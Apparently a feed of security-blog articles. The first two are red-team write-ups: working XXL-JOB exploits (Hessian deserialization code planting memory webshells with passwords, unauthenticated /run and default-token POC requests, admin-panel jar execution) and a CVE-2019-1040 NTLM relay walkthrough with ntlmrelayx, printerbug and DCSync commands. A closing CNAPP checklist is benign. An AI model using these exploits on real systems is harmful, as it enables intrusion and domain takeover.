        hashtable2.put("a", uiDefaults2);
        hashtable3.put("b", uiDefaults3);
        hashtable4.put("b", uiDefaults4);
        serObj(hashtable1, hashtable2, hashtable3, hashtable4);
        readObj();
    }
    static void serObj(Object hashtable1, Object hashtable2, Object hashtable3, Object hashtable4) throws Exception {
        HashMap s = new HashMap<>();
        Reflections.setFieldValue(s, "size", 4);
        Class nodeC;
        try {
*            nodeC = Class.forName("java.util.HashMap**$Node");
        } catch (ClassNotFoundException e) {
            nodeC = Class.forName("java.util.HashMap$*Entry");
        }
        Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);
        Object tbl = Array.newInstance(nodeC, 4);
        Array.set(tbl, 0, nodeCons.newInstance(0, hashtable1, hashtable1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, hashtable2, hashtable2, null));
        Array.set(tbl, 2, nodeCons.newInstance(0, hashtable3, hashtable3, null));
        Array.set(tbl, 3, nodeCons.newInstance(0, hashtable4, hashtable4, null));
        Reflections.setFieldValue(s, "table", tbl);
        Hessian2Output hessian2Output = new Hessian2Output(new FileOutputStream("hessian.ser"));
        hessian2Output.setSerializerFactory(serializerFactory);
        hessian2Output.writeObject(s);
        hessian2Output.close();
    }
    static void readObj() throws Exception {
        Hessian2Input hessian2Input = new Hessian2Input(new FileInputStream("hessian.ser"));
        hessian2Input.readObject();
    }
}

再通过curl发包即可：

Bash
curl -XPOST --data-binary @hessian.ser http://192.168.2.132:8080/xxl-job-admin/api -H "Content-Type: x-application/hessian"

这里注入的是冰蝎listener内存马：

密码: Igzafarqnx

请求路径: /

请求头: Referer: Vhmeexb

方法二：XSLT触发defineClass加载字节码

代码参考：https://yzddmr6.com/posts/swinglazyvalue-in-webshell/#%E5%88%A9%E7%94%A8%E4%BA%94%E8%90%BD%E7%9B%98xslt%E5%B9%B6%E5%8A%A0%E8%BD%BD

修改两个地方：

base64_payload为要注入的BASE64格式的内存马

class_name为注入的类名

Java
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import sun.swing.SwingLazyValue;
import javax.swing.*;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Hashtable;
import static com.qt.test.hessian_demo_main.serializerFactory;
public class hessian_demo_two {
    public static void main(String[] args) throws Exception {
        String xsltTemplate = "http://www.w3.org/1999/XSL/Transform\"\n" +
                "xmlns:b64=\"http://xml.apache.org/xalan/java/sun.misc.BASE64Decoder\"\n" +
                "xmlns:ob=\"http://xml.apache.org/xalan/java/java.lang.Object\"\n" +
                "xmlns:th=\"http://xml.apache.org/xalan/java/java.lang.Thread\"\n" +
                "xmlns:ru=\"http://xml.apache.org/xalan/java/org.springframework.cglib.core.ReflectUtils\"\n" +
                ">\n" +
                "    \n" +
                "      \n" +
                "      \n" +
                "      \n" +
                "      \n" +
                "    \n" +
                " ";
        String base64Code = "yv66vg...AAAAAgCi";
        serializerFactory.setAllowNonSerializable(true);
        String xslt = xsltTemplate.replace("base64_payload", base64Code).replace("class_name", "HttpClientUtil");
        SwingLazyValue value1 = new SwingLazyValue("com.sun.org.apache.xml.internal.security.utils.JavaUtils", "writeBytesToFilename", new Object[]{"E:/SecCode/Test/Test/xslt_temp", xslt.getBytes()});
        SwingLazyValue value2 = new SwingLazyValue("com.sun.org.apache.xalan.internal.xslt.Process", "_main", new Object[]{new String[]{"-XT", "-XSL", "file:///E:/SecCode/Test/Test/xslt_temp"}});
        Object[] keyValueList = new Object[]{"abc", value1};
        Object[] keyValueList1 = new Object[]{"ccc", value2};
        UIDefaults uiDefaults1 = new UIDefaults(keyValueList);
        UIDefaults uiDefaults2 = new UIDefaults(keyValueList);
        UIDefaults uiDefaults3 = new UIDefaults(keyValueList1);
        UIDefaults uiDefaults4 = new UIDefaults(keyValueList1);
        Hashtable hashtable1 = new Hashtable<>();
        Hashtable hashtable2 = new Hashtable<>();
        Hashtable hashtable3 = new Hashtable<>();
        Hashtable hashtable4 = new Hashtable<>();
        hashtable1.put("a", uiDefaults1);
        hashtable2.put("a", uiDefaults2);
        hashtable3.put("b", uiDefaults3);
        hashtable4.put("b", uiDefaults4);
        serObj(hashtable1, hashtable2, hashtable3, hashtable4);
         readObj();
    }
    static void serObj(Object hashtable1, Object hashtable2, Object hashtable3, Object hashtable4) throws Exception {
        HashMap s = new HashMap<>();
        Reflections.setFieldValue(s, "size", 4);
        Class nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        } catch (ClassNotFoundException e) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);
        Object tbl = Array.newInstance(nodeC, 4);
        Array.set(tbl, 0, nodeCons.newInstance(0, hashtable1, hashtable1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, hashtable2, hashtable2, null));
        Array.set(tbl, 2, nodeCons.newInstance(0, hashtable3, hashtable3, null));
        Array.set(tbl, 3, nodeCons.newInstance(0, hashtable4, hashtable4, null));
        Reflections.setFieldValue(s, "table", tbl);
        Hessian2Output hessian2Output = new Hessian2Output(new FileOutputStream("hessian.ser"));
        hessian2Output.setSerializerFactory(serializerFactory);
        hessian2Output.writeObject(s);
        hessian2Output.close();
    }
    static void readObj() throws Exception {
        Hessian2Input hessian2Input = new Hessian2Input(new FileInputStream("hessian.ser"));
        hessian2Input.readObject();
    }
}

环境：jdk1.8，这里注入的是冰蝎listener内存马：

密码: Igzafarqnx

请求路径: /*

请求头: Referer: Vhmeexb

4.2.2 漏洞分析

找到触发/api路由的方法，位于com.xxl.job.admin.controller.JobApiController#api。

进入com.xxl.job.admin.core.schedule.XxlJobDynamicScheduler#invokeAdminService。

进入com.xxl.rpc.remoting.net.impl.servlet.server.ServletServerHandler#handle。

进入com.xxl.rpc.remoting.net.impl.servlet.server.ServletServerHandler#parseRequest，其中readBytes(request)方法获取请求体的数据，然后传入com.xxl.rpc.serialize.impl.HessianSerializer#deserialize。

下面就是Hessian2反序列化的流程：

4.3 后台命令执行

4.3.1 漏洞复现

测试环境：2.1.2（2.0.2版本powershell脚本测试执行失败），需要启动执行器，新增一个powershell脚本任务：

添加完成后，编辑GLUE，插入要执行的命令。

点击执行一次，然后点击查询调度日志，执行命令的结果在日志中。

4.3.1.1 出网利用

一般考虑反弹shell或者上线cs。

4.3.1.2 不出网利用

考虑注入一个java agent内存马，因为没有上传点，需要写一个agent马进去，测试环境：jdk1.8，先准备好agent内存马，然后将其base64编码后分割再拼接：

Java
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.util.Base64;
public class Base64FileSplit {
    public static void main(String[] args) {
        File file = new File("E:\\Agent-1.0.jar");
        FileOutputStream fos = null;
        try {
            fos = new FileOutputStream("split_base64_output.txt");
            byte[] buffer = new byte[1000]; // 缓冲区大小为1000个字符
            int bytesRead;
            // 读取文件并转换为Base64字符串
            FileInputStream fis = new FileInputStream(file);
            byte[] fileContent = new byte[(int) file.length()];
            fis.read(fileContent);
            String base64String = Base64.getEncoder().encodeToString(fileContent);
            // 分割Base64字符串并写入到文件
            for (int i = 0; i < base64String.length(); i += 1000) {
                String line = "sb.append(\"" + base64String.substring(i, Math.min(i + 1000, base64String.length())) + "\");";
                fos.write(line.getBytes());
                fos.write("\n".getBytes());
            }
            System.out.println("Base64字符串已成功分割并写入到文件中.");
        } catch (IOException e) {
            e.printStackTrace();
        } finally {
            if (fos != null) {
                try {
                    fos.close();
                } catch (IOException e) {
                    e.printStackTrace();
                }
            }
        }
    }
}

生成拼接的字符串。

添加一个java脚本的任务，再编辑代码。

修改代码为如下：

Java
package com.xxl.job.service.handler;
import com.xxl.job.core.log.XxlJobLogger;
import com.xxl.job.core.biz.model.ReturnT;
import com.xxl.job.core.handler.IJobHandler;
import java.io.*;
import java.util.Base64;
public class DemoGlueJobHandler extends IJobHandler {
        @Override
        public ReturnT execute(String param) throws Exception {
                saveJarAndEx();
                return ReturnT.SUCCESS;
        }
  public static void saveJarAndEx() {
        StringBuilder sb = new StringBuilder();
        // 拼接的base64字符串
      sb.append("UEsDBAoAAAAAANwVPlgAAAAAAAAA...");
        ...
        ....
        ...
sb.append("...DQAAAA==");
// Base64解码
        String base64String = sb.toString();
        byte[] decodedBytes = Base64.getDecoder().decode(base64String);
        // 保存agent jar
        File jarFile = new File("test1.jar");
        try {
            FileOutputStream fileOutputStream = new FileOutputStream(jarFile);
            fileOutputStream.write(decodedBytes);
            fileOutputStream.close();
            // 执行jar
            ProcessBuilder processBuilder = new ProcessBuilder("java", "-jar", "test1.jar");
            Process process = processBuilder.start();
            InputStream inputStream = process.getInputStream();
            BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));
            String line;
            while ((line = reader.readLine()) != null) {
                System.out.println(line);
            }
        } catch (FileNotFoundException e) {
            throw new RuntimeException(e);
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }

执行任务，就可在控制台中看到注入成功。

冰蝎连接：

4.3.2 漏洞分析

执行任务的路由为：/jobinfo/trigger，对应的源码为：com.xxl.job.admin.controller.JobInfoController#triggerJob。

调用com.xxl.job.admin.core.trigger.XxlJobTrigger#trigger。

调用processTrigger方法：

调用com.xxl.job.admin.core.trigger.XxlJobTrigger#runExecutor。

这里获取执行器（9999端口启动的），并委托ExecutorBiz执行run方法。

反射调用run方法。

com.xxl.job.core.biz.impl.ExecutorBizImpl#run方法判断glueTypeEnum的值，这里传入的是powershell，进入到如下if，初始化一个ScriptJobHandler，并放入到队列中。

接着通过任务线程执行handler：com.xxl.job.core.handler.impl.ScriptJobHandler#execute，在execute方法中，会将要执行的powershell脚本内容保存到一个后缀psl的文件中，并传入ScriptUtil#execToFile方法中。

在com.xxl.job.core.util.ScriptUtil#execToFile中通过Runtime exec执行powershell文件。

其他执行方式如：shell，java同理，根据传入的glueTypeEnum获取到对应的JobHandler。

4.4 Executor未授权命令执行

4.4.1 漏洞复现

影响版本：XXL-JOB <= 2.2.0

漏洞原理：/run接口触发执行器执行脚本，acessToken为空绕过鉴权。

漏洞复现：

Executor默认是监听在9999端口，和后台执行任务导致的命令执行一样，只不过这里直接未授权请求Executor去触发脚本执行，测试版本：2.2.0，通过powershell执行。

POC：

Java
POST /run HTTP/1.1
Host: 192.168.2.132:9999
Content-Type: application/json
Content-Length: 311
{
"jobId":1,
"executorHandler": "demoJobHandler",
"executorParams": "demoJobHandler",
"executorBlockStrategy": "COVER_EARLY",
"executorTimeout": 0,
"logId": 1,
"logDateTime": 1,
"glueType": "GLUE_POWERSHELL",
"glueSource": "calc.exe",
"glueUpdatetime": 1,
"broadcastIndex": 0,
"broadcastTotal": 0
}

4.4.2 漏洞分析

在com.xxl.job.core.server.EmbedServer.EmbedHttpServerHandler#process方法中校验请求包中的accessToken，由于在 <= 2.2.0时，accessToken值默认为空，所以accessToken.trim().length() > 0为false，即绕过认证。

和后台通过执行任务造成的命令执行原理一样。

4.5 默认accessToken身份绕过

4.5.1 漏洞复现

影响版本：XXL-JOB <= 2.4.0

漏洞原理：用于调度通讯的 accessToken 为默认值default_token。

漏洞复现：

添加请求头，直接通过/run接口触发命令执行：

POC：

Java
POST /run HTTP/1.1
Host: 192.168.2.132:9999
Content-Type: application/json
XXL-JOB-ACCESS-TOKEN: default_token
Content-Length: 311
{
"jobId":1,
"executorHandler": "demoJobHandler",
"executorParams": "demoJobHandler",
"executorBlockStrategy": "COVER_EARLY",
"executorTimeout": 0,
"logId": 1,
"logDateTime": 1,
"glueType": "GLUE_POWERSHELL",
"glueSource": "calc.exe",
"glueUpdatetime": 1,
"broadcastIndex": 0,
"broadcastTotal": 0
}

4.5.2 漏洞分析

token校验的时候获取请求头的XXL-JOB-ACCESS-TOKEN的值，和配置文件的默认accessToken 值default_token进行对比。

4.6 后台SSRF

4.6.1 漏洞复现

影响版本：XXL-JOB <= 2.3.1

漏洞原理：查看执行日志/joblog/logDetailCat接口时，会携带accessToken向执行器地址发送请求，可以通过低权限用户发送日志查看的数据包，获取accessToken，再利用accessToken去触发/run接口的命令执行。

漏洞复现：

修改executorAddress：

通过nc监听请求包，可在请求头中获取accessToken。

4.6.2 漏洞分析

在获取执行器的代码com.xxl.job.admin.core.scheduler.XxlJobScheduler#getExecutorBiz方法中，会将传入的address和配置文件中的accessToken实例化返回executorBiz，供后续发起请求。

在2.4.0版本中直接获取执行器的地址，无法利用。

总结

在本文中，我们对XXL-JOB的历史漏洞进行了梳理和分析，深入了解了其原理和攻击方式。通过对这些漏洞的剖析，我们可以更加全面地认识到XXL-JOB在安全方面存在的问题，从而在实际应用中提高警惕，防范潜在风险。

参考

https://blog.wanghw.cn/security/hessian-deserialization-jdk-rce-gadget.html

https://yzddmr6.com/posts/swinglazyvalue-in-webshell/

https://blog.csdn.net/weixin_44772566/article/details/135697336

关于作者：

l2sec：青藤红队成员，主要研究方向为红蓝对抗和漏洞挖掘。

-完-

热门动态推荐

阅读原文

跳转微信打开

Exchange攻防系列之CVE-2019-1040分析

Fri, 29 Mar 2024 18:00:00 +0800

原创 chuxin 2024-03-29 18:00 北京

我们在进行渗透时会发现拿到Exchange服务器权限后就能拥有或拿到域管权限，Exchange为什么这么神奇，我们从Exchange原理、漏洞产生原理和场景利用等方面进行系统分析。

Exchange基础

我们在进行渗透时会发现拿到Exchange服务器权限之后就可以拥有域管权限或者可以拿到域管权限，那么为什么Exchange这么神奇，我们从Exchange原理、漏洞产生原理和场景利用等方面进行系统分析。

因为安装Exchange的时候是需要域管才可以安装的，所以需要域管登陆Exchange，这时计算机保存了域管的凭证，当我们拿到Exchange服务器后就可以导出，获得域管权限。

当我们安装Exchange时，域会将Exchange的信息和内容写到AD数据库中，所以我们通过Ldap就可以看到Exchange的一些用户属性的配置。

为Exchange准备Active Directory需要三个步骤

1、扩展Active Directory架构

在Exchange服务器每次升级后，它的架构可能也会有更改。例如Exchange 2019 在更新完之后有时会修改架构。

2、准备活动目录容器、对象和其他项目

首先会在 CN=Servicesm,CN=Configuration,DC=test,DC=com 下创建Microsoft Exchange 容器：

其中的内容有些是只有Exchange 2016才具备的，比如：

CN=UM AutoAttendant Container

CN=UM DialPlan Container

CN=UM IPGateway Container

CN=UM Mailbox Policies

3、准备Active Directory域

可以看到Ldap中多了一个OU，Microsoft Exchange Security Groups（Microsoft Exchange安全组），和一个CN ，Microsoft Exchange System Objects（Microsoft Exchange系统对象）：

我们主要去关注 Microsoft Exchange Security Groups（Microsoft Exchange安全组）的内容：

而 Microsoft Exchange Security Groups（Microsoft Exchange安全组）这个ou里的内容则在 CN=Microsoft Exchange,CN=Services,CN=Configuration,DC=test,DC=com 中的otherWellKnownObjects属性的值：

在安装完Exchange后我们可以查看CN=Microsoft Exchange System Objects,DC=test,DC=com中的objectVersion属性的值来判断是否已经准备好Active Directory域。例如安装的是Exchange 2019则可以通过此属性判断版本。

Exchange添加邮箱

当我们安装成功Exchange时用户是不可以登陆的，需要在Exchange的配置项中添加用户，从而等于给用户开通邮箱。

如果没有开通邮箱前是无法登陆的。

我们给xx用户开通邮箱，需要登陆管理员的邮箱并进入Excahnge管理中心（ecp目录）当然我们可以选择现有用户就是在域内已经创建了此用户，如果想要开通一个域内还没有的用户则可以选择新用户进行创建，这样在ldap中也会创建一个用户。

之后则可以登陆此账号到邮箱中。

我们开通xx用户的邮箱后观察ldap中xx的属性可以发现多了很多属性，其中包括的用户邮箱等等信息，当我们域渗透进行信息搜集时可以根据此信息判断此用户是否开通了邮箱。

Microsoft Exchange Security Groups（Microsoft Exchange安全组）

我们来详细看一下 Microsoft Exchange Security Groups，前面说过我们主要关注此OU，那么为什么要关注此OU，这个OU内有什么值得我们关注地方？

Discovery Management 此组成员可以在 Exchange 中针对符合特定标准的数据执行邮箱的搜索。

Exchange Servers 此组中包含当前域内的Exchange服务器，我们通过这个组就可以定位Exchange是哪台计算机：

Exchange windows permissions 组的用户拥有writeDACL权限：

Exchange Trusted Subsystem 用户组又隶属于Exchange Windows Permission，继承了Exchange Windows Permission组的功能：

Exchange Trusted Subsystem 组的成员具有writeDACL权限，默认是Exchange的机器用户，所以这也是我们上面问题的答案。当我们拿到Exchange服务器后就可以对域内用户进行writeDACL，但是我们不能向域管组等添加ACL：

例如：

当我们获得Exchange服务器后，就可以使用Exchange机器账户进行writeDACL。

这时要注意的是需要使用Exchange计算机的机器用户，如果我们使用普通用户的话是不可以writeDACL的，因为Exchange Trusted Subsystem 组的成员只有Excahnge机器。

那么机器用户是什么？简单来说机器用户可以理解为一台机器的system权限，我们来看一下，当我们使用exchangeuser这个域用户进行writeDACL时会怎么样：

1、我们使用了PowerView.ps1工具进行操作将qt01用户添加DCSync权限，可以看到提示拒绝访问。

Add-DomainObjectAcl -TargetIdentity "DC=wanliu1,DC=com" -PrincipalIdentity test -Rights DCSync -Verbose

2、使用mimikatz使用qt01用户进行DCSync时会显示失败。

lsadump::dcsync /domain: /all /csv

3、那我们使用exchange机器用户进行添加，也就是提升到system权限，我们可以看到添加成功了。

4、这时再进行DCSync导出hash，就可以成功导出。

环境介绍

域控 192.168.190.46

Exchange 192.168.190.146

域内账号 qt01

攻击机 kali linux 192.168.192.194

CVE-2019-1040漏洞利用

我们使用qt01账号进行DCSync时是失败的，因为权限不够。

1、在攻击机中我们使用ntlmrelayx.py进行监听，并进行relay。给qt01用户添加DCSync权限。

ntlmrelayx.py --remove-mic --escalate-user qt01 -t ldap://192.168.190.46 -smb2support --delegate-access

2、使用打印机漏洞，让exchange向我们进行访问，可以使用exe或者py，根据自己的实际情况来定。

printerbug.py wanliu1.com/qt:qt@user123@192.168.190.146 192.168.192.194

3、收到请求可以看到添加成功。

4、使用DCSync进行利用。

CVE-2019-1040漏洞分析

Ntlm 协议原理在"清河六点下班"公众号文章中介绍过了，如果没了解过NTLM协议原理的小伙伴可以看一下。

我们首先看一下哪些协议是需要签名的：

SMB：双方有一方的 Signing required 为 1 时，启用签名。

LDAP：协商签名，双方都支持签名则使用签名。

HTTP：不支持签名。

我这里一直有一个疑问，到底什么样的机器会开启SMB认证，网上的说法很多，所以不知道哪种是正确的，然后就做了个实验。

结论是域控的SMB认证都是开启的，而非域控机器SMB认证都是关闭的，但是Exchange的SMB认证也是开启的。原来以为装了服务的server系统就会开启，但是当我安装了mssql数据库之后发现并没有开启。

windows server2008域控开启：

windows server2008 禁用：

windows server2012域控开启：

windows server2012 禁用：

windows server2016 exchange开启：

windows10 禁用：

根据上面的结果如果要中继到ldap协议时双方都支持签名才会使用签名，所以我们可以使用HTTP协议进行中继，因为HTTP协议是不支持签名的这个后面再说。我们最常用的就是SMB认证，但是SMB认证会有一个问题就是在Exchange中数字签名默认是开启的，只有在非域控或是非exchange服务器才是关闭的。我们去relay普通机器是没用的，我们只能去relay Exchange服务器或者其他高权限的用户去做操作才有意义，为什么Exchange会是高权限用户？上面Exchange基础介绍过了。我们去分析 CVE-2019-1040 这个漏洞之前需要先了解两个东西：

数字签名

签名是一个可以保证数据在发送和接收的过程中没有被篡改。比如小明发送一个数据 "你好" 给A用户，并且对数据进行签名，那么任何收到该数据和小明签名的人，都可以验证它时小明写的，并且可以确定小明写了这句话，而不是另一个人写的，因为此数据中存在签名保证了数据没有被篡改。

当数据在通讯时开启并使用了签名，那么攻击者就无法进行relay攻击。如果在relay中当攻击者抓取到了数据，并修改了数据，但无法将数据进行签名，因为添加签名需要知道客户端的密码。当我们将没有签名的数据发送给服务器时，服务器会拒绝我们的请求，并将数据包丢弃，因为数据中并没有签名。

Message Integrity Code（MIC）

信息完整性代码，MIC 是在 AUTHENTICATE消息中发送的签名。MIC 使用HMAC_MD5函数计算，称为会话密钥。

ntlm身份校验由三种消息类型组成 NTLM_NEGOTIATE，NTLM_CHALLENGE，NTLM_AUTHENTICATE。

HMAC_MD5(Session key, NEGOTIATE_MESSAGE + CHALLENGE_MESSAGE + AUTHENTICATE_MESSAGE)：

而MIC则在NTLM_AUTHENTICATE中，会话密钥取决于客户端的密码，所以攻击者是无法计算MIC的。

因为我们无法计算MIC，当我们修改其中的数据后，无法重新计算MIC。那么我们如果删除MIC可以吗？删除是可以的，但是还有一个地方表明了是否存在MIC。

在 msvAvFlag 字段中说明了是否包含MIC，如果这个值为 0x00000002 那么客户端就告诉服务端请求中包含MIC，如果服务端发现没有MIC的话就会将数据包其丢弃。

也就是说这个值决定了当我们建立连接之后，通讯是否要加密，如果要加密，那么我们无法计算MIC值所以就无法进行通讯。

我们了解了数字签名和MIC之后接着往下看

在这里我们可以看到此请求是支持签名，但是也可以不需要签名：

Signing enabled 是否支持签名

Signing required 是否需要签名

在这个地方也可以看到是支持签名的，但是是否需要签名是需要看协议和客户端跟服务端的关系来定的。

当我们使用ldap协议进行中继时，可以不设置需要签名，那么进行ldap通讯时就不需要签名。在我们进行relay时是如果从smb 中继到ldap时，因为smb默认支持签名，这样就会触发ldap签名。所以在默认情况下我们是不可以从smb中继到ldap的，但是CVE-2019-1040 这个漏洞完成了对签名的绕过。

这里我们来看一下 CVE-2019-1040 这个漏洞为什么可以从smb中继到ldap。通过smb和ldap对比着来看一下，当让目标请求到攻击者的机器后，攻击者修改了哪些数据发送给服务器，导致服务器可以被攻击成功：

1、让Exchange向攻击者发送SMB请求 NTLM_NEGOTIATE：

攻击者将Excahnge发送的SMB请求进行修改包后发送给目标服务器：

在通过LDAP中继时，取消设置NTLM_NEGOTIATE中的签名标志（NTLMSSP_NEGOTIATE_ALWAYS_SIGN，NTLMSSP_NEGOTIATE_SIGN）。

NTLMSSP_NEGOTIATE_ALWAYS_SIGN 位表示客户端和服务器进行通信应携带数字签名：

具体字段的含义可以查看微软的文档：

https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/99d90ff4-957f-4c8a-80e4-5bfe5a9a9832?redirectedfrom=MSDN

2、攻击者向Exchange返回的内容 NTLM_CHALLENGE：

服务端向攻击者返回的内容，此时没有改变数据：

3、Exchange向攻击者进行认证 NTLM_AUTHENTICATE，有几个地方需要注意，之前我们说过的 0x00000002 值以及版本信息和MIC的值：

当攻击者向服务端转发请求是修改了此部分，0x00000002 值这里没有修改，而是将版本信息以及MIC的值给删除：

还是上面的包3中的这些字段：

将NTLM_AUTHENTICATE中的以下字段设置为0：NTLMSSP_NEGOTIATE_ALWAYS_SIGN，NTLMSSP_NEGOTIATE_SIGN，NEGOTIATE_KEY_EXCHANGE，NEGOTIATE_VERSION

总结

总结一下此漏洞通过修改了哪些地方进行绕过：

MIC绕过

取消MIC校验以确保可以修改数据包中的内容：

（1）从NTLM_AUTHENTICATE消息中删除MIC

（2）从NTLM_AUTHENTICATE消息中删除版本字段（删除MIC字段而不删除版本字段将导致错误）。

LDAP签名绕过

将NEGOTIATE_SIGN设置为not set以绕过LDAP验证：

（1）取消设置NTLM_NEGOTIATE消息中的签名标志（NTLMSSP_NEGOTIATE_ALWAYS_SIGN，NTLMSSP_NEGOTIATE_SIGN）

（2）取消设置NTLM_AUTHENTICATE消息中的以下标志：NTLMSSP_NEGOTIATE_ALWAYS_SIGN，NTLMSSP_NEGOTIATE_SIGN，NEGOTIATE_KEY_EXCHANGE，NEGOTIATE_VERSION。

关于作者：

chuxin：青藤云安全-攻防研究专家。

-完-

热门动态推荐

阅读原文

跳转微信打开

选型指南：CNAPP能力成熟度评估Checklist

Tue, 19 Mar 2024 18:17:00 +0800

原创网安人的智囊团 2024-03-19 18:17 北京

本文基于云原生应用保护平台（CNAPP）能力要求，从云工作负载、云安全态势管理、云检测和响应、用户体验等几个不同方面，提供了80+checklist，帮助用户更好进行选型。

随着云计算服务大量使用，网络攻击面的不断扩大，那些过去为传统数据中心而设计的安全工具和运营流程将很难应对云端的安全威胁。相比过去，安全团队现在面临超过10到100倍的容器化保护需求，大量的动态云资产需要追踪，同时还需要应对混乱不堪的身份和访问权限管理。此外，攻击者越来越多地使用自动化工具，如最近的SCARLETEEL攻击，攻击者就是利用Kubernetes集群上已知漏洞进行侦察，并横向进入一个过度授权访问的Amazon Web Services（AWS）帐户。

大量的云漏洞、配置错误等风险层出不穷，安全团队正在被各种告警淹没，无法确定当前最重要的风险。此外，越来越多的组织开始采用CI/CD，授权开发人员可以配置基础架构并通过部署容器化的应用程序实现快速更新上线。但是安全产品，却很少集成在开发环境中。本文基于云原生应用保护平台（CNAPP）能力要求，从云工作负载、云安全态势管理、云检测和响应、用户体验等几个不同方面，提供了80+Checklist，帮助用户更好进行选型（如已对CNAPP较为熟悉可直接跳至本文最后的附录，查看Checklist）。

传统安全工具不足

正如图1所示，云基础设施缺乏可视性、安全工具难以被集成、不断扩大的风险暴露面、告警太多等因素推动了云安全运营团队迫切希望更新当前技术方案。

图1 当前云安全方案面临窘境

一些组织甚至没有意识到需要基于云基础设施特性，重新评估他们的安全控制措施。下面几个原因解释了为什么许多传统安全技术并不适合云环境：

第一是可见性。对云服务、身份、工作负载和编排服务（如Kubernetes）拥有可见性才能帮助安全团队检测高级威胁。部分攻击者甚至已开始针对软件供应链和第三方应用程序（如Okta、Github等）以获取进入云环境的初始入口。如果，在整个云生态系统中没有端到端的可见性，那么安全工具就形同虚设。安全可见性包括以下几个方面：

网络可见性：随着软件化的网络配置与工作负载相结合，类似防火墙、IPS这样工具可能无法满足集成要求。例如面对Kubernetes的网络配置，运行在IaaS和PaaS环境中的容器生成情况等，传统安全工具几乎处于失效状态。
应用程序可见性：真正的应用程序可见性需要与云工作负载和编排服务深度集成，并具有强大的告警功能。
工作负载可见性：深度工作负载可见性需要具备各种工作负载类型的配置评估能力，以及对容器镜像配置和运行时事件监视的可见性。
IaC可见性：在大多数成熟的组织中，这种可见性需要集成到DevOps流水线中，能够快速分析IaC模板和文件。

第二个是检测能力。从某种程度说，传统攻击方式也可能会发生在云中，但是攻击的方式以及如何检测它们将需要转变。例如，攻击者可能通过AWS CLI执行恶意命令，修改云存储节点，如S3存储桶，或与云原生Kubernetes服务进行交互。传统EDR或本地监控解决方案无法做到实时检测并对此发出告警或者完成阻断。这种滞后的检测和响应，会给攻击者充分时间完成攻击和撤退。

最终，单点产品很难发挥较强效果。无论采用何种方法，这些单点工具之间没有沟通或共享上下文，这就要求安全团队手动“拼接”事件，并确定它们是否相关，这对于安全团队而言几乎是一个不可能完成的任务。会让安全团队陷入无休止忙乱之中，迫使他们一次又一次地处理问题，而不是根据风险和影响基于优先级排名列表来处理。在没有适当的可见性和运行时上下文的情况下，这些传统解决方案将使组织陷入时间浪费和延迟的无尽循环中。

先进云安全方案CNAPP

为了应对云安全的挑战，有效的解决方案必须平衡安全性和速度。本文附录提供了一份CNAPP解决方案中应该包含功能checklist。在本章节先着重深入研究其中一些重点功能。

云原生安全工具需要足够智能，可以将实时检测能力和运行时上下文层叠在一起，以分析展示整个云基础架构中最重要的风险，还需要能够支持跨多个云平台，为企业在复杂的多云环境中提供了必要的灵活性和控制能力。

云工作负载保护

云安全解决方案最重要的一块内容是工作负载保护，先进的云安全解决方案CNAPP应包括以下功能：

统一资产清单，包括Kubernetes和云资源
运行时对所有容器镜像、镜像仓库、容器主机和虚拟机实例进行漏洞扫描
灵活的安全报告输出
易于集成到CI/CD中，以帮助自动化漏洞扫描和报告
整合外部漏洞信息源，具有统一的漏洞清单，包含漏洞优先级
可在策略中执行镜像配置规则和简单实施基础镜像补救措施
为所有资源创建简单灵活的策略设置和漏洞修复，具备运行时修复和IaC修复能力
对工作负载上的恶意活动进行实时检测，具有持续更新的规则和集成威胁信息源能力
强大的调查和取证能力，如证据获取、自动化调查/取证
基于AI增强和提升检测能力

云安全态势管理

许多重大安全事件发生是由于云工作负载和服务配置管理不当导致的。因此一个CNAPP方案应该包括以下功能：

支持策略即代码的自定义策略（最好支持Open Policy Agent [OPA]等标准），以及与行业框架和合规监管要求一致的现成策略库，以检测和配置任何云中的设置。
能够实时检测跨云的工作负载和编排服务中出现的配置漂移。
身份和访问管理分析能力，能够评估权限使用情况，并能够按照最严格的身份和访问策略落地执行。
通过将运行时上下文与静态检查（配置错误、已知漏洞）相结合，对安全风险进行排序。
识别和分析风险配置的用户属性和设置，比如缺乏多因素认证 (MFA)、公开或过度宽松的云访问密钥、缺乏访问密钥轮换等情况。
在云环境中对所有策略和配置状态进行详细和灵活的报告，最好具备行业框架、合规报告以及自定义选项。
攻击路径分析，能支持在多个事件之间进行相关性分析（例如，横向移动）。

云检测与响应

除了工作负载保护和态势评估之外，云检测与响应也是需要重点关注的一个方面。正如前面提到的，传统将本地安全工具和工作流程调整以适应云原生场景的做法很难真正解决云自身的安全问题。CNAPP平台应支持以下功能：

实时检测恶意活动和行为，不断更新规则并集成威胁源
灵活的规则语言用于自定义规则
AI增强检测能力
支持跨越云、容器和Kubernetes多个不同平台
强大的调查和取证能力，如证据捕获、自动化调查/取证操作
事件丰富化和转发，能够与第三方安全工具和平台对接（如SIEM）
检测和分析Kubernetes网络事件
具备主机、托管容器服务工作负载的检测和响应能力

用户体验

对安全团队来说，增加运营负担或笨拙的界面是很难接受的。成熟的解决方案在用户体验领域应该提供以下内容：

同时涵盖云工作负载和Kubernetes编排的服务和工作负载，提供统一的安全和风险看板，包括威胁检测、漏洞管理和安全姿势管理，涵盖工作负载基础设施的所有方面。
部署简单性。完整的CNAPP将结合Agent和Agentless以创建统一解决方案。
随着ChatGPT等生成式AI工具的兴起，许多安全解决方案开始利用这项技术来帮助用户。例如允许用户使用自然语言提示来获取丰富上下文相关告警。

附录-CNAPP能力成熟度评估

云工作负载保护

云原生应用程序保护平台应具备以下能力，以保护整个生命周期中的云工作负载：
风险管理
基础版
升级版
运行时容器镜像漏洞扫描
✓

主机漏洞扫描（虚拟机）
